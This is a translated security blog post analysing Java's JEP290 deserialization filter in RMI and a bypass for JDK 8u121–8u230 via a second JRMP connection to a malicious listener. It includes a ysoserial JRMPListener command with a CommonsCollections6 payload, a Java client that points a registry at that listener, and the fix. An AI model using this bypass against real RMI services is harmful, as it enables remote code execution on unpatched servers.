w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JEP290 Bypass

Preface#

The previous text has analyzed several attack methods for RMI deserialization. This article studies the detection and bypass ideas of the JEP290 mechanism. The entire process is quite clear, which involves making the registry act as a client to initiate an RMI request to a malicious JRMP server, while the environment's filter is empty.

What is JEP290#

Experimental version jdk1.8.0_192

Higher versions of JDK introduced the JEP 290 policy, which by default sets the registryFilter during the communication process between the Client and Registry, allowing only classes in the whitelist to be deserialized.

In simple terms, it is a filter for defending against deserialization attacks with a whitelist or blacklist.

  1. Provides a mechanism to restrict deserialization classes, either a whitelist or a blacklist.
  2. Limits the depth and complexity of deserialization.
  3. Provides a mechanism for validating classes for RMI remote call objects.
  4. Defines a configurable filtering mechanism, such as defining filters through a properties file.

Official documentation: https://openjdk.java.net/jeps/290

Versions supported by JEP290:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

There are two ways to set JEP290:

  1. Set the filter through setObjectInputFilter.
  2. Configure directly through the conf/security/java.properties file.

JEP290 Process Analysis#

image

According to zjj, the communication between the client and the registry is actually divided into two segments. The first segment is the normal communication between the client and the registry, while the second segment is where the registry acts as a client to initiate an RMI request to a malicious JRMP server. In the second segment of communication, the JEP290 check is not performed.

image

In the above image, it is actually the code that handles the request, but at the second breakpoint, there is a lookup connection. Therefore, if some parameters can be controlled, the second breakpoint can be treated as an entry point for new RMI communication.

JEP290 Checkpoint#

image

First, the server is still processing remote calls in RegistryImpl_Skel#dispatch. Case 0 corresponds to the bind operation, var82 corresponds to the name of the bound object, and var87 corresponds to the remote object to be exported. At this point, the incoming remote call stream is deserialized.

image

Then step through sequentially:

image

image

image

The readClassDesc method will enter different cases based on the deserialized class. Note the proxy class here.

image

It will enter filterCheck.

image

When analyzing for the first time, a breakpoint can be set here from logging, as this information can be obtained from the error message. Then, analyze the entire check process based on the call stack, as follows:

filterCheck:1250, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

image

In the filterCheck part, status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,totalObjectRefs, depth, bytesRead)); will call the check method: RegistryImpl#registryFilter.

image

Here, the deserialized class is restricted by the whitelist:

String / Number / Remote / Proxy / UnicastRef / RMIClientSocketFactory / RMIServerSocketFactory / ActivationID / UID

As long as the deserialized class is not in the whitelist, it will return the REJECTED operator, indicating that there is illegal content in the serialization stream, and an exception will be thrown.

The parameter for the bind method executed on the server side must be an object that implements the Remote interface. However, the ordinary CC chain ultimately generates a malicious object that does not meet this condition. At this point, a dynamic proxy is needed to proxy the Remote interface. In fact, the final binding is a proxy object generated by the dynamic proxy:

InvocationHandlerImpl handler = new InvocationHandlerImpl(expMap);
Remote remote = (Remote) Proxy.newProxyInstance(handler.getClass().getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("pwn", remote);

During deserialization, in addition to deserializing the proxy object itself, its internal fields must also be deserialized, similar to a recursive process. Our proxy object itself (which implements the proxied interface, here the Remote interface) will not trigger the check; what actually triggers the check is the internal InvocationHandlerImpl.

Then, looking at the call stack above, it can be seen that the readObject0 method is called twice. The first time is for the deserialization of the proxy object itself, and the second time is for the deserialization of its internal fields.

The readSerialData method will read the internal fields of the object and then loop into the readObject0 method for processing:

image

Ultimately, it will trigger the filter's check due to InvocationHandlerImpl:

image

image

Filter Creation Process#

When the check is triggered, the filter is a Lambda expression.

image

It will enter RegistryImpl#registryFilter, and the entire call stack is as follows:

registryFilter:408, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1828757853 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

Now the question is why it enters RegistryImpl#registryFilter. First, look at the constructor of RegistryImpl.

image

Although there are multiple overloaded constructors, the core is that a Lambda expression is passed in as a filter.

RegistryImpl::registryFilter is info → RegistryImpl.registryFilter(info), and since it matches the abstract method signature of the ObjectInputFilter interface, it can be directly simplified through method reference:

image

image

At the same time, in the second constructor, the Lambda expression is passed into the constructor of UnicastServerRef2 in the form of the ObjectInputFilter interface.

image

image

Finally, it is assigned to the filter member variable of this class.

It should also be noted that during the creation of the Registry, the filter ultimately exists only as a member variable of UnicastServerRef, and only when the Registry processes requests, in the oldDispatch method, is the filter assigned to the member variable serialFilter of ObjectInputStream.

image

image

Call stack:

setInternalObjectInputFilter:1219, ObjectInputStream (java.io)
access$000:214, ObjectInputStream (java.io)
setObjectInputFilter:252, ObjectInputStream$1 (java.io)
setObjectInputFilter:296, ObjectInputFilter$Config (sun.misc)
run:423, UnicastServerRef$1 (sun.rmi.server)
run:420, UnicastServerRef$1 (sun.rmi.server)
doPrivileged:-1, AccessController (java.security)
unmarshalCustomCallData:420, UnicastServerRef (sun.rmi.server)
oldDispatch:466, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

Bypass 8u121~8u230#

UnicastRef Class#

From the code perspective, when we execute methods like bind and lookup, we will first obtain a Registry, for example:

Registry registry = LocateRegistry.getRegistry(1099);

Follow up on the LocateRegistry#getRegistry method:

image

image

Here, the TCPEndpoint encapsulates the host, port, and other information of the Registry, and then uses UnicastRef to encapsulate the liveRef. Ultimately, what is obtained is a RegistryImpl_Stub object.

image

Then, this Stub object (client) connects to the Registry. Taking the bind method as an example, from this process, a connection is initiated through the newCall method of UnicastRef, and the object to be looked up is sent to the Registry.

Therefore, if we can control the host, port, and other information encapsulated in the LiveRef of UnicastRef, we can initiate an arbitrary JRMP connection request. This is actually the principle behind the payloads.JRMPClient in ysoserial.

RemoteObject Class#

RemoteObject is an abstract class that will play a very important role in the subsequent Bypass idea construction. It implements the Remote and Serializable interfaces, indicating that it (and its subclasses) can pass the whitelist check. The key point utilized in the Bypass is its readObject method:

image

Test Code#

Here, the attack is on register, executing the following commands and Java files in sequence:

/Library/Java/JavaVirtualMachines/jdk1.8.0_192.jdk/Contents/Home/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "open -a Calculator"

RMIRegistry

package bypass_jep290;

import java.rmi.registry.LocateRegistry;

public class RMIRegistry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            System.out.println("RMI Registry Start");
        } catch (Exception e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

DefineClient

package bypass_jep290;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class DefineClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 3333);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        // The lookup method can also be used, but it requires manually simulating the lookup process.
        registry.bind("pwn", handler);
    }
}

Handling Requests While Deserializing Remote Call Objects (With Check)#

image

First, the client initiates a bind request to the registry, entering the handling logic of RegistryImpl_Skel#dispatch. At the readObject point, the remote call object passed from the client to the registry is deserialized, during which the JEP290 checkpoint is present. The call stack is as follows:

filterCheck:1233, ObjectInputStream (java.io)
readNonProxyDesc:1878, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

image

Since the object we are deserializing is RemoteObjectInvocationHandler, it bypasses the check and then enters the readObject method of RemoteObject.

image

In this method, the host and port information from the serialization stream (which is the host and port of the malicious JRMP service) will be read out and then re-encapsulated into a LiveRef object, which is stored on the current ConnectionInputStream by calling the saveRef method:

image

A mapping relationship between a TCPEndpoint and an ArrayList is established.

The call stack is as follows:

readObject:424, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (java.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

It can be seen from the call stack that readOrdinaryObject will first enter readClassDesc for a check, and then enter readSerialData to deserialize the object.

ReleaseInputStream as an Entry Point for New RMI Communication (No Check)#

After processing the above request, releaseInputStream will release the input stream associated with RemoteCall, but here a lookup operation will be performed.

image

Here, in is the ConnectionInputStream object that wraps the LiveRef object mentioned above. Continue to follow up:

image

At this point, based on the previously stored mapping relationship, the host and port information from the serialization stream (which is the host and port of the malicious JRMP service) will be read out, extracted, and passed into the DGCClient#registerRefs method:

image

image

Here, the lookup actually does not do much; it just encapsulates our var0.

image

Subsequently, in executeCall(), this.getInputStream(); establishes new communication, and then receives serialized data for deserialization.

image

image

The call stack is as follows:

executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

TCPEndpoint (JRMP Segment Address) Assignment#

To write the PoC, we need to see how TCPEndpoint is assigned. It has been analyzed above, starting from the readObject method of RemoteObject. Here, let's look at the details that need attention.

image

Here, the ip and port will be extracted from the serialized data, generating a TCPEndpoint assigned to var2, which is then encapsulated into a LiveRef and passed to var6.saveRef().

image

saveRef() ultimately exists in the incomingRefTable, which can be referred back to the utilization analysis, as it is the object taken from this variable.

Now let's see if we can assign a value to this variable. The key code is as follows:

TCPEndpoint var2 = TCPEndpoint.readHostPortFormat(var0);
ObjID var3 = ObjID.read(var0);
LiveRef var5 = new LiveRef(var3, var2, false);

Details of the Check in the Second Segment of Communication#

The first segment of communication is where the server binds to the registry, transferring data to the Register.

image

As mentioned above, during the creation of the Registry, the filter ultimately exists only as a member variable of UnicastServerRef, and only when the Registry processes requests, in the oldDispatch method, is the filter assigned to the member variable serialFilter of ObjectInputStream. Therefore, the current serialFilter is null.

image

Also, note the ConnectionInputStream@953 number.

Then, in UnicastServerRef#unmarshalCustomCallData(), the value of this.serialFilter is set.

image

Note the number ConnectionInputStream@953.

Then enter the second segment of JRMP communication.

After establishing the aforementioned new communication, the serialFilter will also be set in ObjectInputStream, but since it does not enter the UnicastServerRef#oldDispatch method, the serialFilter here is null.

image

image

The number is ConnectionInputStream@1121, and then to the StreamRemoteCall#executeCall method, deserializing the malicious object returned by JRMP.

image

Here, the serialFilter is also not set.

Summary#

What I want to express here is to distinguish why this method can bypass JEP290. The first segment of communication is between the registry and the Server, while the second segment is with the JMRP. Here, ConnectionInputStream actually represents ObjectInputStream, and the serialFilter set during the first segment of communication only applies to the first segment of communication, specifically to the readObject between the Register and Server!! (The scope of JEP290).

At the same time, the idea of bypassing JEP290 is as follows:

  1. Use ysoserial to start a malicious JRMPListener.
  2. Control the UnicastRef object in RemoteObject, which encapsulates the host, port, and other information of the malicious Server.
  3. The Client/Server sends this RemoteObject object to the Registry, which triggers the readObject method and subsequently initiates a connection request to the malicious JRMP Server.
  4. Subsequently, trigger the JRMPListener.

The registry triggers the deserialization exploitation chain:

Client sends data -> UnicastServerRef#dispatch -> UnicastServerRef#oldDispatch -> RegistryImpl_Skle#dispatch (processing request)
-> RemoteObject#readObject (first communication, enters RemoteObject#readObject, to set the internal UnicastRef object to initiate a JRMP request to connect to the malicious Server)
StreamRemoteCall#releaseInputStream (resource release, second communication entry)
-> ConnectionInputStream#registerRefs -> DGCClient#registerRefs -> DGCClient$EndpointEntry#registerRefs 
-> DGCClient$EndpointEntry#makeDirtyCall -> DGCImpl_Stub#dirty -> UnicastRef#invoke -> (RemoteCall var1) StreamRemoteCall#executeCall ->
ObjectInputSteam#readObject -> "pwn"

YSO Code#

/**
 * Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319
**/
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }


    public static void main ( final String[] args ) throws Exception {
        PayloadRunner.run(JRMPListener.class, args);
    }
}
To be supplemented: PoC writing ideas, look at the secondary development of ysoserial.#

Fix#

In the dirty() method, after establishing communication, a JEP290 (expression) is set for this.filter.

Original

image

image

After fixing

image

Then set this filter in this.in's serialFilter.

image

After establishing communication in the dirty() method, a JEP290 (expression) is set for this.filter.

image

Then it gets detected.

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.